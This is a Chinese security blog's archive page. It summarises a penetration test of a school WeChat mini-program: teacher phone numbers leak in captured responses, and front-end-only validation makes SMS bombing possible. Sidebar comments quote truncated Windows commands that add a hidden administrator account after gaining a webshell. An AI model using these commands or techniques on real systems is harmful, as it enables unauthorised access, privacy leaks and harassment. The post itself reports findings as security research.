园龄：1年4个月粉丝：3 关注：10

03 2024 档案

记一次对某学校的微信小程序的渗透测试(短信轰炸+教师手机号泄露)

摘要：0x01 教师手机号泄露打开智慧校园小程序点进教师登录后发现,输入我老师名字后会显示尾号抓包,在response中得到完整的手机号手机注册那里填入抓到的手机号,便可以发短信验证码(填别的手机号会被前端的验证拦截并显示'该手机号不对,清核对信息',但验证是前端的[前端就是通过该response

132

0

0

随笔：26
文章：0
评论：6
阅读：2697

公告

昵称： sesmof
园龄： 1年4个月
粉丝： 3
关注： 10

<

2025年3月

>

日

一

二

三

四

五

六

23

24

25

26

27

28

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

1

2

3

4

5

随笔分类

随笔档案

阅读排行榜

评论排行榜

推荐排行榜

1. 杂乱无章的sql注入学习笔记(应该会持续更新)(1)

最新评论

1. Re:在任何系统下使用公网ARL灯塔(免搭建)
咱扫哥比别人动更少的脑子，得到更多的成果（bushi
--sesmof
2. Re:webshell转远程桌面
以上是无脑一键获得远程桌面命令
--sesmof
3. Re:webshell转远程桌面
net user username$ Passwd123 /add && net localgroup administrators username$ /add&& reg add "HKLM\SY...
--sesmof
4. Re:webshell转远程桌面
net user username$ Passwd123 /add ; net localgroup administrators username$ /add; reg add "HKLM\SYST...
--sesmof
5. Re:[罗嗦的详解BURP靶场]彻底理解nosql最终关Lab: Exploiting NoSQL operator injection to extract unknown fields
👍
--sesmof

1 飘上月球，不死之烟上海爱丽丝幻乐团

飘上月球，不死之烟 - 上海爱丽丝幻乐团

00:00 / 00:00

An audio error has occurred.